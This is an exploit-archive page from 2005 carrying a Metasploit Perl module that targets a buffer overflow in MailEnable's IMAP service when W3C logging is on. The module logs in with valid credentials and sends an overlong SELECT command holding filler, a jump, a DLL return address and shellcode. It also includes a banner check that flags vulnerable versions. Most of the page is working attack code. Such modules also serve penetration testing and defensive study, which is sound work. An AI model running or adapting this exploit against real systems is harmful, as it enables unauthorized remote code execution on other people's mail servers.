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mailenable154.pm.txt

mailenable154.pm.txt
Posted Nov 20, 2005
Authored by y0

This Metasploit module exploits a buffer overflow in the W3C logging functionality of the MailEnable IMAPD service. Logging is not enabled by default and this exploit requires a valid username and password to exploit the flaw. MailEnable Professional version 1.6 and prior and MailEnable Enterprise version 1.1 and prior are affected.

tags | exploit, overflow
SHA-256 | 7094ed083e302ef685862bc36e8a4e257722a626bc842428e2cb88d10634019d

mailenable154.pm.txt

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##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::mailenable_imap_w3c;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
};

my $info = {
'Name' => 'MailEnable IMAPD W3C Logging Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'AutoOpts' =>
{
'EXITFUNC' => 'thread',
},
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 143],
'USER' => [1, 'DATA', 'IMAP Username'],
'PASS' => [1, 'DATA', 'IMAP Password'],

},
'Payload' =>
{
'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x20",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a buffer overflow in the W3C logging
functionality of the MailEnable IMAPD service. Logging is not
enabled by default and this exploit requires a valid username
and password to exploit the flaw. MailEnable Professional version
1.6 and prior and MailEnable Enterprise version 1.1 and prior are
affected.
}),
'Refs' =>
[
['BID', 15006],
],
'Targets' =>
[
['MailEnable 1.54 Pro Universal', 0x1001c019], #MEAISP.DLL
],
'Keys' => ['imap'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);
}

sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => 25,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("QUIT\r\n");
my $res = $s->Recv(-1, 20);
$s->Close();

if ($res !~ /MailEnable Service, Version: 0-1\.54/) {
$self->PrintLine("[*] This server does not appear to be vulnerable.");
return $self->CheckCode('Safe');
}

$self->PrintLine("[*] Vulnerable installation detected :-)");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;

my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];

my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
);
if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}

my $resp = $sock->Recv(-1);
chomp($resp);
$self->PrintLine('[*] Got Banner: ' . $resp);

my $sploit = "a01 LOGIN $user $pass\r\n";
$sock->Send($sploit);
my $resp = $sock->Recv(-1);
if($sock->IsError) {
$self->PrintLine('Socket error: ' . $sock->GetError);
return;
}
if($resp !~ /^a01 BAD LOGIN-/) {
$self->PrintLine('Login error: ' . $resp);
return;
}
$self->PrintLine('[*] Logged in, sending overflow');

my $splat = Pex::Text::AlphaNumText(6196);
$sploit =
"a01 SELECT ". $splat.
"\xeb\x06". pack('V', $target->[1]).
$shellcode. "\r\n";

$sock->Send($sploit);

my $resp = $sock->Recv(-1);
if(length($resp)) {
$self->PrintLine('[*] Got response, bad: ' . $resp);
}

return;

}

1;

# milw0rm.com [2005-11-20]

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